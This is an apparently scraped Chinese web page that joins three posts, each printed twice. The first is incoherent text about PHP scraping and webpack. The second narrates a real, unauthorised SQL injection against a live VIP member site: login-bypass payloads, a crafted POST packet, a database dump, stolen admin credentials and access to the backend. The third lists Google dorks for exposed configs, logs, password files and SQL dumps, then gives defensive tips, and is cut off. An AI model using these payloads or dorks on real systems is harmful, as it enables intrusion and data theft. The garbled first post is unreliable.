  我们刚开始的想法是先爬取一个session,之后再抓取当前请求中body值最多的那个页面,看起来确实如此,但这和我们要干的是一样的嘛?不是,你没看错,是这样,我们还是想抓取一个页面,不要变化页面的响应。你是不是好奇,这样看起来会有点冗余,我们为什么不直接用body响应?假设页面有40个请求,不同的请求有不同的参数传递给我们,我们想从40个请求中取第4个参数(这是我们正在抓取的那个页面的的第4个参数),其实大部分不是响应数据,比如40个请求有10个响应那么多个请求的其中一个响应都是一样的参数,你可以从你抓取的那个页面直接得到。
  我们不想让工作量太大,尤其是有人来做,比如人工处理。你觉得这个时候我们可以直接调用./webpack.config.js文件就可以知道传递给我们的是什么了,于是我就这样调用了。fake$_get[:end]先来看看这个后台服务,它的位置,我们是在上一章的时候了解到的(在请求后台服务的命令行),一个命令让这个后台服务变为默认的后台服务。
  可以看到,body上传后它是一个test.php文件,只要知道文件名称和路径,我们完全可以从这个文件获取文件内容获取响应。这个文件内容其实是一个index.php文件,不同的请求有不同的响应参数(这个test.php就是它的响应参数),我们需要查看body的内容。我们要做的是:1、清空我们传递给body的数据。2、将body页面的响应参。 查看全部

  php抓取网页数据实例大讲解你或许需要通过命令行运行
  php抓取网页数据实例大讲解你或许需要通过php+bootstrap+jquery+webpack+postman+gitbook这个项目来构建网页抓取。在学习这个项目的时候,我会先构建一个预先准备好的webpack配置,然后用以下步骤从请求后台服务。如何构建webpack配置?为了一劳永逸,我还是想做一个详细的在线构建网页抓取项目。
  
  构建了两个预先安装好的依赖,你可以通过命令行运行命令:php-mproxy#在php中运行这个脚本,而不仅仅只是php文件app.phptest.php将以下几点为抓取目标:解析请求的headers对应的页面css,js图片通过请求后台服务的状态变量来判断爬取页面结构优化重复性io你应该先从我们上一个提供的示例代码中看看我们需要怎么做。
  准备阶段,你需要了解以下常用php依赖:php-mproxyloadnodefake$_get[:end]#请求后台服务请求后台服务这个简单的例子很明显,这个完全满足抓取后台服务,你可以看到可以请求headers中的body是我们的文件,body里面就是一个请求后台服务的参数。这样我们就获取到了请求后台服务的一个参数传递给我们下一步创建项目的工作。
  
  我们刚开始的想法是先爬取一个session,之后再抓取当前请求中body值最多的那个页面,看起来确实如此,但这和我们要干的是一样的嘛?不是,你没看错,是这样,我们还是想抓取一个页面,不要变化页面的响应。你是不是好奇,这样看起来会有点冗余,我们为什么不直接用body响应?假设页面有40个请求,不同的请求有不同的参数传递给我们,我们想从40个请求中取第4个参数(这是我们正在抓取的那个页面的的第4个参数),其实大部分不是响应数据,比如40个请求有10个响应那么多个请求的其中一个响应都是一样的参数,你可以从你抓取的那个页面直接得到。
  我们不想让工作量太大,尤其是有人来做,比如人工处理。你觉得这个时候我们可以直接调用./webpack.config.js文件就可以知道传递给我们的是什么了,于是我就这样调用了。fake$_get[:end]先来看看这个后台服务,它的位置,我们是在上一章的时候了解到的(在请求后台服务的命令行),一个命令让这个后台服务变为默认的后台服务。
  可以看到,body上传后它是一个test.php文件,只要知道文件名称和路径,我们完全可以从这个文件获取文件内容获取响应。这个文件内容其实是一个index.php文件,不同的请求有不同的响应参数(这个test.php就是它的响应参数),我们需要查看body的内容。我们要做的是:1、清空我们传递给body的数据。2、将body页面的响应参。

php抓取网页数据实例 记一次SQL注入实战

网站优化优采云 发表了文章 • 0 个评论 • 77 次浏览 • 2022-07-04 14:30 • 来自相关话题

  php抓取网页数据实例 记一次SQL注入实战
  刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布。今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了。
  本文仅供学习交流,目的是为了构建更加安全的网络环境!注入地址
  某VIP会员专用系统
  相关工具
  注入工具:
  超级SQL注入工具【SSQLInjection】
  明小子
  抓包工具:
  Wireshark
  注入过程
  1.测试漏洞
  1)测试 '
  首先打开网页,如下图:
  一看这种很low的系统就有可能存在漏洞
  废话不多说,输入单引号" ' "进行测试:
  输入单引号
  测试结果
  看到测试结果报数据库错误,这就证明该系统存在SQL注入漏洞。而且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:
  "我有漏洞,欢迎注入!"
  2)测试 'or''='
  进一步测试,输入" 'or''=' ",点确定,直接就登录成功了,如下图
  输入" 'or''=' ",点确定
  登录成功
  不用密码,直接进去了,看来漏洞真的存在!
  3)测试 3389' and 1=1 and 'a'='a
  接下来测试下能不能使用注入语句,这里有两个选择:
  or语句前面已经有说明,这里就以知道密码的情况作说明(or语句原理相同)
  网页上直接给出了获取密码的方式:
  加群,拿到密码:3389
  构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:
  再次成功登入,确认可以进行注入攻击。
  
  接下来就可以对数据库进行数据库名(前面提到,登录错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜测了
  手动猜测的具体方法可以参考这里:
  sql注入实例分析()
  当然手动猜测的量太大了,这么劳神费力的事当然要交给程序来完成,不过还是强烈建议看看这篇文章来了解下SQL注入的基本原理,不然后面操作一片茫然。
  2.构造数据包
  因为该系统不能简单通过网页URL来传递信息,所以我们需要构造数据包以POST方式发送数据包来注入。
  1)手动构造:
  根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……
  2)抓包构造
  这就简单多了,我们直接抓取正常发送的数据包,加以改造就可以用来注入了!
  这里我们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析()
  使用Wireshark抓取到的POST数据包内容如下:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Host:
  Connection: keep-alive
  Content-Length: 8
  Cache-Control: max-age=0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Origin:
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  Referer:
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.8
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389
  修改成注入使用的POST包:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Referer:
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  Content-Length: 8
  Host:
  Connection: Keep-Alive
  Pragma: no-cache
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389%')#inject##
  
  这个数据包可以由软件"超级SQL注入工具"根据上面的包自动生成,具体操作请参考软件压缩包中相应的使用说明。
  3.注入
  其实我们只要将抓取到的数据包粘进程序中,然后点击"自动识别",软件就会自动进行相应配置,然后看情况改改就可以了(一般情况下,自动配置就可以搞定了)。
  配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若能够正确返回网页信息,则配置可用:
  正确返回网页信息
  虽然图中显示"登录失败",但证明可以正确返回网页信息,配置可用!
  4.获取数据库信息
  点击获取数据
  获取数据
  然后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":
  数据库信息一览无余
  可以看到,确实有名为"tp_login"的表和"3389"这个密码。
  接下来就可以随心所欲的获取数据了。
  获取到的数据
  获取到的管理员账号信息:
  管理员账号信息
  有了管理员账号信息,如何使用呢?上第二个软件:"明小子",其实它本身就是一个注入工具,不知道是不是年代太久远了……好多功能不实用。这里我们只用到"管理入口扫描"功能,如下图:
  管理入口扫描
  获取到了4个链接,挨个打开看,发现这个可以用:
  管理员登录
  输入账号密码,登录
  登录成功
  登录成功,看到笑脸真是开心!
  成功进入后台
  成功进入管理后台,发现并没有什么价值的信息,倒是有很多某视频网站的VIP账号,也不造这些万人骑的账号能不能用……
  至此,整个SQL注入成功完成!
  分割线
  --------------------------------------------------------------------------------------------------------
  声明:本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系,我们将尽快妥善处理! 查看全部

  php抓取网页数据实例 记一次SQL注入实战
  刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布。今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了。
  本文仅供学习交流,目的是为了构建更加安全的网络环境!注入地址
  某VIP会员专用系统
  相关工具
  注入工具:
  超级SQL注入工具【SSQLInjection】
  明小子
  抓包工具:
  Wireshark
  注入过程
  1.测试漏洞
  1)测试 '
  首先打开网页,如下图:
  一看这种很low的系统就有可能存在漏洞
  废话不多说,输入单引号" ' "进行测试:
  输入单引号
  测试结果
  看到测试结果报数据库错误,这就证明该系统存在SQL注入漏洞。而且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:
  "我有漏洞,欢迎注入!"
  2)测试 'or''='
  进一步测试,输入" 'or''=' ",点确定,直接就登录成功了,如下图
  输入" 'or''=' ",点确定
  登录成功
  不用密码,直接进去了,看来漏洞真的存在!
  3)测试 3389' and 1=1 and 'a'='a
  接下来测试下能不能使用注入语句,这里有两个选择:
  or语句前面已经有说明,这里就以知道密码的情况作说明(or语句原理相同)
  网页上直接给出了获取密码的方式:
  加群,拿到密码:3389
  构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:
  再次成功登入,确认可以进行注入攻击。
  
  接下来就可以对数据库进行数据库名(前面提到,登录错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜测了
  手动猜测的具体方法可以参考这里:
  sql注入实例分析()
  当然手动猜测的量太大了,这么劳神费力的事当然要交给程序来完成,不过还是强烈建议看看这篇文章来了解下SQL注入的基本原理,不然后面操作一片茫然。
  2.构造数据包
  因为该系统不能简单通过网页URL来传递信息,所以我们需要构造数据包以POST方式发送数据包来注入。
  1)手动构造:
  根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……
  2)抓包构造
  这就简单多了,我们直接抓取正常发送的数据包,加以改造就可以用来注入了!
  这里我们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析()
  使用Wireshark抓取到的POST数据包内容如下:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Host:
  Connection: keep-alive
  Content-Length: 8
  Cache-Control: max-age=0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Origin:
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  Referer:
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.8
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389
  修改成注入使用的POST包:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Referer:
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  Content-Length: 8
  Host:
  Connection: Keep-Alive
  Pragma: no-cache
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389%')#inject##
  
  这个数据包可以由软件"超级SQL注入工具"根据上面的包自动生成,具体操作请参考软件压缩包中相应的使用说明。
  3.注入
  其实我们只要将抓取到的数据包粘进程序中,然后点击"自动识别",软件就会自动进行相应配置,然后看情况改改就可以了(一般情况下,自动配置就可以搞定了)。
  配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若能够正确返回网页信息,则配置可用:
  正确返回网页信息
  虽然图中显示"登录失败",但证明可以正确返回网页信息,配置可用!
  4.获取数据库信息
  点击获取数据
  获取数据
  然后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":
  数据库信息一览无余
  可以看到,确实有名为"tp_login"的表和"3389"这个密码。
  接下来就可以随心所欲的获取数据了。
  获取到的数据
  获取到的管理员账号信息:
  管理员账号信息
  有了管理员账号信息,如何使用呢?上第二个软件:"明小子",其实它本身就是一个注入工具,不知道是不是年代太久远了……好多功能不实用。这里我们只用到"管理入口扫描"功能,如下图:
  管理入口扫描
  获取到了4个链接,挨个打开看,发现这个可以用:
  管理员登录
  输入账号密码,登录
  登录成功
  登录成功,看到笑脸真是开心!
  成功进入后台
  成功进入管理后台,发现并没有什么价值的信息,倒是有很多某视频网站的VIP账号,也不造这些万人骑的账号能不能用……
  至此,整个SQL注入成功完成!
  分割线
  --------------------------------------------------------------------------------------------------------
  声明:本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系,我们将尽快妥善处理!

php抓取网页数据实例 Google Hacking信息刺探的攻与防

网站优化优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-06-26 18:52 • 来自相关话题

  php抓取网页数据实例 Google Hacking信息刺探的攻与防
  我们都知道渗透测试中信息收集的重要性,是第一步也是最重要的一步。有的人渗透测试使出浑身解数破门而不入,可对有的人来说却如同囊中取物,也许功力就是差在信息收集,那么现在就让我带领各位读者重新认识一下Google———你军火库中的“大咖” 。(前面基础部分希望大家不要错过,说不定有你不知道的秘密,各位服务器管理员也不要错过最后的彩蛋哦!)
  0X01 你不得不知道的谷歌基础一、谷歌周边
  1.谷歌图片
  谷歌图片是一个图片识别的非常强大的工具,一张你不知道来源的图片上传之后不仅能知道来源,还能自动寻找相似图片。
  2.谷歌地球
  坐看世界各地,笑看云卷云舒,渗透之前看看渗透的地方长啥样对吧…
  3.谷歌论坛
  信息收集的重要地点,谷歌背后的繁荣之地(多得是你不知道的事)
  4.谷歌日历
  记录你生活的点点滴滴,有时却给hacker留下了巨大的财富
  5.谷歌地图
  找到你回家的路,跑路的重要工具…..
  6.谷歌高级搜索
  这个功能异常强大,更加能满足你的需要
  7.谷歌自定义搜索引擎
  8.GHDB 谷歌黑客数据库
  这一部分我会放在github中会仔细的讲一下,链接地址在本文下方,希望大家关注
  二、搜索基础
  1.查询是不区分大小写(OR在表示布尔含义时一定要大写)
  2.在谷歌搜索的时候只能当做*一个单词使用
  3.谷歌有32词的搜索限制(当然可以通过*代替某些单词突破这种限制)
  4.短语搜索要带上单引号
  5.AND对谷歌来说是多余的,谷歌会自动查询你输入的一切
  6.谷歌会忽略特别常见的字符,但是前面加上”+”强制搜索(+后面不能有空格)
  7.NOT可以使用”-“(减号代替)
  8.布尔查询OR/“|”
  0X02 不得不说的高级运算符一、总览
  intitle,allintitle
  inurl,allinurl
  filetype
  allintext
  site
  link
  inanchor
  datarange
  cache
  info
  related
  phonebook
  rphonebook
  bphonebook
  uthor
  group
  msgid
  insubject
  stocks
  define
  使用方法:
  operator:search
  注意点:
  1.在操作符、冒号、搜索项之间没有空格
  2.all运算符(以all开头的运算符)都是有些奇怪的,通常一个查询只能使用一次,而且不能和其他运算符一起使用
  ①allintitle 会告诉谷歌,它后面的每一个单词或者短语都要在标题中出现
  ②allintext 在除了标题、URL、链接以外的任何地方找到某个内容(它后面的每一个单词或者短语都要在内容中出现)
  3.intitle:”index of”等价于 intitle:index.of
  因为‘.’休止符能够代替任何字符(这个技术也提供了一个无需键入空格和两边引号的短语)
  4.intitle:”index of” private 能返回标题中有index of 以及在任何地方有 private的页面(intitle只对其后面第一个搜索项有效)
  二、常见运算符解释
  site 把搜索精确到特定的网站
  site 允许你搜索仅仅位于一个特定服务器上的或者在一个特定域名里的页面
  filetype 搜索特定后缀的文件
  搜索以一个特别的文件扩展名结尾的页面,谷歌会以网页快照的形式来将这种格式转换成html页面,但是你直接点击标题就会下载
  link 包含指定网页的链接的网页
  搜索包含指定网页的链接的网页,link后面跟的是完整的URL可以包含目录名、文件名、参数等,信息量越大查询结果越精确。
  注意
  1. 不要认为 Link能搜索链接中的文本,inanchor才执行的是这个操作,如果输入错误,那么并不会执行link查询而是把[link:短语]当做一个整体直接默认查询
  2. link运算符不能和其他运算符一起使用
  inanchor 寻找链接的锚点
  inanchor 用于寻找链接的锚点,或者在链接中显示的文本(就是显示在页面上的提供点击的文字)
  cache 显示页面的缓存版本
  直接跳转到页面的缓存版本
  numberange 搜索一个数字
  numberange 需要两个参数,一个低位数字,一个高位数字,中间用连字符分割
  例如:
  为了找到12345 numberange:12344-12346
  注意:
  1.这个运算符还有简化版, 12344..12346
  2.可以和其他运算符一起使用
  daterange 搜索在特定日期范围内发布的页
  谷歌每次重新抓取一个网页网页的日期就会刷新
  两个参数日期都必须是自公元前4713年1月1日起经过的天数,中间用连字符分割但(不如使用谷歌的高级搜索引擎实现)
  info 显示谷歌的总结信息
  显示一个网站的总结信息还提供了可能关于该网站的其他搜索链接
  注意:
  info不能和其他运算符一起使用
  related 显示相关站点
  参数是一个URL
  注意:
  1.点击类似网页链接和使用高级搜索引擎能实现相同的功能
  2.不能和其他运算符一起使用
  define 显示一个术语的定义
  此处语言苍白……
  0X03 Google Hacking 基础文件类一、目录列表的查找
  目录列表能列出存在于一个web服务器上的文件和目录
  查找目录列表
  实例:
  intitle:index.of 这里的休止符代表的是单个字母的通配符
  更优化的查找
  实例:
  
  intitle:index.of “parent directory”
  intitle:index.of name size
  二、(特定版本的)服务器
  能被攻击者用来决定攻击web服务器最佳方法的一小段信息,就是确切的服务器版本
  实例:
  intitle:index.of “server at”
  intitle:index.of “Apache/1.3.27 Server at”
  我们还可以确定服务器的操作系统、模块和其他信息
  我们会把操作系统写在括号里
  Apache/1/3/26(Unix)
  CentOS
  Debian
  Debian GNU/Linux
  Fedora
  FreeBSD
  Linux/SUSE
  Linux/SuSE
  NETWRE
  Red Hat
  Ubuntu
  UNIX
  Win32
  攻击者能结合这个操作系统标签里的信息以及web服务器的版本制定有针对性的攻击
  三、扩展遍历技术
  经常会出现web页面的备份文件,他们有泄露源码的倾向。常常在配置错误的时候出现这种问题,把php代码备份到不是以php结尾的文件中,比如bak
  实例:
  intitle:index.of index.php.bak
  inurl:index.php.bak
  四、配置文件的查找
  配置文件的存在说明服务就在附近
  实例:
  filetype:conf inurl:firewall
  如果你能知道配置文件的名字也是一个非常好的搜索方式,当然你可以从配置文件中抽取特定的字符串来查询,如果能再配上软件名字的话就效果更好了
  注意:
  1.除了配置文件名conf的使用,也可以组合其他的通用的命名规则来查找其他等价的命名规则
  inurl:conf OR inurl:config OR inurl:cfg
  五、日志文件的查找
  日志文件中也记录着日志很多的敏感信息
  日志文件也有一个默认的名字可以被我们用作基础的搜索,最常见的扩展名就是log了
  实例:
  filetype:log inurl:log
  ext log log
  filetype:log username putty
  六、office文档
  实例:
  filetype:xls inurl:password.xls
  filetype:xls username password email
  数据库、后台类一、登录入口
  登录入口是第一道防线,很容易泄露软硬件的信息
  查找入口一般使用关键字login
  大的厂商一般会把版权的注意事项放在页面的底部
  实例:
  intitle:login intext:版权信息
  二、错误消息
  数据库的错误消息能够用来分析操作系统和web服务器的版本,还可能更多
  SQL command not properly ended
  这个表示没有在sql语句的最后找到正确的终止符,所以可能会被用于注入攻击
  三、数据库的转储
  数据库基于文本的转换在网络上是很常见的,使用数据库的转储数据库管理员能完整地重建数据库,也就意味着一个完整的转储的细节并不只是数据表格的结构还有每张表的每一条记录。
  攻击者可以搜索转储的标题 # Dumping data for table并且通过执行必要的关键词 username password等能够缩小范围
  实例:
  Dumping data for table(user|username|password|pass)
  还可以关注一些由别的工具添加到数据库转储中最后的文件名
  实例:
  filetype:sql sql
  四、真实的数据库文件
  攻击者还能直接搜索到数据库本身,并不适合所有的数据库系统,只适合哪些有着特定名字或者扩展名的数据库,因为是二进制文件,所以没法在里面搜索字符
  实例:
  filetype:mdb inurl:com
  0X4 如何防御Google Hackingweb 服务器的安全防护
  一、目录列表和丢失的索引文件
  .htaccess 可以来防止目录的内容未授权的访问,但是不当的配置还会让这个文件可见甚至可读
  在 apache 的服务器上可以通过 httpd.conf文件中的单词indexs前加一个连字符或者减号来禁止目录列表
  二、robots.txt
  #开头的行为会被认为是注释,每一个不以#开头的行为都会以 User- agent或者是一个 disallow 声明开头,表示禁止爬虫爬行的位置,但是也可以允许特定的爬虫访问。
  三、NOARCHIVE缓存杀手
  有时候你希望google住抓取某个页面但是又不希望对页面的副本进行缓存,或者搜索结果中显示缓存链接,这个要求可以通过META实现
  如果你只想阻止谷歌对文件的缓存,可以在HEAD节里使用
  四、NOSNIPET 去除摘要
  另外这个功能还有个副作用,就是谷歌也不能缓存,一举两得。
  五、十五条防止信息泄露和服务器入侵的措施
  1.检查所有的文档能否被Google搜索到,避免敏感文件能出现在公众的视野中
  2.选择一个强大的自动化工具来扫描你网站上是否有信息的泄露
  3.不要使用默认的登录入口,以防止登录入口被hacker猜解
  4.关闭数据库的远程管理工具
  5.删除明显的显示软件版本的信息
  6.配置服务器只能下载特定的文件类型(白名单比黑名单要简单有效得多)
  7.正确的配置你的服务器,不要抱有侥幸心理,任何的松懈带来的灾难是巨大的
  8.不要把源码的备份放在未经授权就能访问的地方,并且及时删除网站上的无用的备份文件
  9.不要使用弱密码,防止攻击者轻易攻破后台
  10.登录请加上强度相对较高的验证手段,防止攻击者采用爆破的手段
  11.关闭服务器不必要的端口
  12.请不要使用网站上的任何信息作为密码,否则都属于容易爆破的类型
  13.备份的源代码请经过专业的混淆,防止被下载之后轻易读取到内容
  14.及时更新服务器的系统,修复潜在的漏洞
  15.安装正规的安全防护软件
  0X04 总结
  亲爱的读者,读到这里真的是辛苦了,我上面讲的这些只是冰山一角,Google能做到的绝对超乎你的想象,如果大家对渗透测试、Google Hacking或者服务器防范感兴趣可以访问我的github我会把我了解的更多的信息告诉你,而且还会介绍一些谷歌黑客数据库的知识(如果喜欢的话也欢迎你们fork或者star)
  下面是我的github地址:
  * 本文作者:K0rz3n,本文属FreeBuf原创奖励计划,未经许可禁止转载 查看全部

  php抓取网页数据实例 Google Hacking信息刺探的攻与防
  我们都知道渗透测试中信息收集的重要性,是第一步也是最重要的一步。有的人渗透测试使出浑身解数破门而不入,可对有的人来说却如同囊中取物,也许功力就是差在信息收集,那么现在就让我带领各位读者重新认识一下Google———你军火库中的“大咖” 。(前面基础部分希望大家不要错过,说不定有你不知道的秘密,各位服务器管理员也不要错过最后的彩蛋哦!)
  0X01 你不得不知道的谷歌基础一、谷歌周边
  1.谷歌图片
  谷歌图片是一个图片识别的非常强大的工具,一张你不知道来源的图片上传之后不仅能知道来源,还能自动寻找相似图片。
  2.谷歌地球
  坐看世界各地,笑看云卷云舒,渗透之前看看渗透的地方长啥样对吧…
  3.谷歌论坛
  信息收集的重要地点,谷歌背后的繁荣之地(多得是你不知道的事)
  4.谷歌日历
  记录你生活的点点滴滴,有时却给hacker留下了巨大的财富
  5.谷歌地图
  找到你回家的路,跑路的重要工具…..
  6.谷歌高级搜索
  这个功能异常强大,更加能满足你的需要
  7.谷歌自定义搜索引擎
  8.GHDB 谷歌黑客数据库
  这一部分我会放在github中会仔细的讲一下,链接地址在本文下方,希望大家关注
  二、搜索基础
  1.查询是不区分大小写(OR在表示布尔含义时一定要大写)
  2.在谷歌搜索的时候只能当做*一个单词使用
  3.谷歌有32词的搜索限制(当然可以通过*代替某些单词突破这种限制)
  4.短语搜索要带上单引号
  5.AND对谷歌来说是多余的,谷歌会自动查询你输入的一切
  6.谷歌会忽略特别常见的字符,但是前面加上”+”强制搜索(+后面不能有空格)
  7.NOT可以使用”-“(减号代替)
  8.布尔查询OR/“|”
  0X02 不得不说的高级运算符一、总览
  intitle,allintitle
  inurl,allinurl
  filetype
  allintext
  site
  link
  inanchor
  datarange
  cache
  info
  related
  phonebook
  rphonebook
  bphonebook
  uthor
  group
  msgid
  insubject
  stocks
  define
  使用方法:
  operator:search
  注意点:
  1.在操作符、冒号、搜索项之间没有空格
  2.all运算符(以all开头的运算符)都是有些奇怪的,通常一个查询只能使用一次,而且不能和其他运算符一起使用
  ①allintitle 会告诉谷歌,它后面的每一个单词或者短语都要在标题中出现
  ②allintext 在除了标题、URL、链接以外的任何地方找到某个内容(它后面的每一个单词或者短语都要在内容中出现)
  3.intitle:”index of”等价于 intitle:index.of
  因为‘.’休止符能够代替任何字符(这个技术也提供了一个无需键入空格和两边引号的短语)
  4.intitle:”index of” private 能返回标题中有index of 以及在任何地方有 private的页面(intitle只对其后面第一个搜索项有效)
  二、常见运算符解释
  site 把搜索精确到特定的网站
  site 允许你搜索仅仅位于一个特定服务器上的或者在一个特定域名里的页面
  filetype 搜索特定后缀的文件
  搜索以一个特别的文件扩展名结尾的页面,谷歌会以网页快照的形式来将这种格式转换成html页面,但是你直接点击标题就会下载
  link 包含指定网页的链接的网页
  搜索包含指定网页的链接的网页,link后面跟的是完整的URL可以包含目录名、文件名、参数等,信息量越大查询结果越精确。
  注意
  1. 不要认为 Link能搜索链接中的文本,inanchor才执行的是这个操作,如果输入错误,那么并不会执行link查询而是把[link:短语]当做一个整体直接默认查询
  2. link运算符不能和其他运算符一起使用
  inanchor 寻找链接的锚点
  inanchor 用于寻找链接的锚点,或者在链接中显示的文本(就是显示在页面上的提供点击的文字)
  cache 显示页面的缓存版本
  直接跳转到页面的缓存版本
  numberange 搜索一个数字
  numberange 需要两个参数,一个低位数字,一个高位数字,中间用连字符分割
  例如:
  为了找到12345 numberange:12344-12346
  注意:
  1.这个运算符还有简化版, 12344..12346
  2.可以和其他运算符一起使用
  daterange 搜索在特定日期范围内发布的页
  谷歌每次重新抓取一个网页网页的日期就会刷新
  两个参数日期都必须是自公元前4713年1月1日起经过的天数,中间用连字符分割但(不如使用谷歌的高级搜索引擎实现)
  info 显示谷歌的总结信息
  显示一个网站的总结信息还提供了可能关于该网站的其他搜索链接
  注意:
  info不能和其他运算符一起使用
  related 显示相关站点
  参数是一个URL
  注意:
  1.点击类似网页链接和使用高级搜索引擎能实现相同的功能
  2.不能和其他运算符一起使用
  define 显示一个术语的定义
  此处语言苍白……
  0X03 Google Hacking 基础文件类一、目录列表的查找
  目录列表能列出存在于一个web服务器上的文件和目录
  查找目录列表
  实例:
  intitle:index.of 这里的休止符代表的是单个字母的通配符
  更优化的查找
  实例:
  
  intitle:index.of “parent directory”
  intitle:index.of name size
  二、(特定版本的)服务器
  能被攻击者用来决定攻击web服务器最佳方法的一小段信息,就是确切的服务器版本
  实例:
  intitle:index.of “server at”
  intitle:index.of “Apache/1.3.27 Server at”
  我们还可以确定服务器的操作系统、模块和其他信息
  我们会把操作系统写在括号里
  Apache/1/3/26(Unix)
  CentOS
  Debian
  Debian GNU/Linux
  Fedora
  FreeBSD
  Linux/SUSE
  Linux/SuSE
  NETWRE
  Red Hat
  Ubuntu
  UNIX
  Win32
  攻击者能结合这个操作系统标签里的信息以及web服务器的版本制定有针对性的攻击
  三、扩展遍历技术
  经常会出现web页面的备份文件,他们有泄露源码的倾向。常常在配置错误的时候出现这种问题,把php代码备份到不是以php结尾的文件中,比如bak
  实例:
  intitle:index.of index.php.bak
  inurl:index.php.bak
  四、配置文件的查找
  配置文件的存在说明服务就在附近
  实例:
  filetype:conf inurl:firewall
  如果你能知道配置文件的名字也是一个非常好的搜索方式,当然你可以从配置文件中抽取特定的字符串来查询,如果能再配上软件名字的话就效果更好了
  注意:
  1.除了配置文件名conf的使用,也可以组合其他的通用的命名规则来查找其他等价的命名规则
  inurl:conf OR inurl:config OR inurl:cfg
  五、日志文件的查找
  日志文件中也记录着日志很多的敏感信息
  日志文件也有一个默认的名字可以被我们用作基础的搜索,最常见的扩展名就是log了
  实例:
  filetype:log inurl:log
  ext log log
  filetype:log username putty
  六、office文档
  实例:
  filetype:xls inurl:password.xls
  filetype:xls username password email
  数据库、后台类一、登录入口
  登录入口是第一道防线,很容易泄露软硬件的信息
  查找入口一般使用关键字login
  大的厂商一般会把版权的注意事项放在页面的底部
  实例:
  intitle:login intext:版权信息
  二、错误消息
  数据库的错误消息能够用来分析操作系统和web服务器的版本,还可能更多
  SQL command not properly ended
  这个表示没有在sql语句的最后找到正确的终止符,所以可能会被用于注入攻击
  三、数据库的转储
  数据库基于文本的转换在网络上是很常见的,使用数据库的转储数据库管理员能完整地重建数据库,也就意味着一个完整的转储的细节并不只是数据表格的结构还有每张表的每一条记录。
  攻击者可以搜索转储的标题 # Dumping data for table并且通过执行必要的关键词 username password等能够缩小范围
  实例:
  Dumping data for table(user|username|password|pass)
  还可以关注一些由别的工具添加到数据库转储中最后的文件名
  实例:
  filetype:sql sql
  四、真实的数据库文件
  攻击者还能直接搜索到数据库本身,并不适合所有的数据库系统,只适合哪些有着特定名字或者扩展名的数据库,因为是二进制文件,所以没法在里面搜索字符
  实例:
  filetype:mdb inurl:com
  0X4 如何防御Google Hackingweb 服务器的安全防护
  一、目录列表和丢失的索引文件
  .htaccess 可以来防止目录的内容未授权的访问,但是不当的配置还会让这个文件可见甚至可读
  在 apache 的服务器上可以通过 httpd.conf文件中的单词indexs前加一个连字符或者减号来禁止目录列表
  二、robots.txt
  #开头的行为会被认为是注释,每一个不以#开头的行为都会以 User- agent或者是一个 disallow 声明开头,表示禁止爬虫爬行的位置,但是也可以允许特定的爬虫访问。
  三、NOARCHIVE缓存杀手
  有时候你希望google住抓取某个页面但是又不希望对页面的副本进行缓存,或者搜索结果中显示缓存链接,这个要求可以通过META实现
  如果你只想阻止谷歌对文件的缓存,可以在HEAD节里使用
  四、NOSNIPET 去除摘要
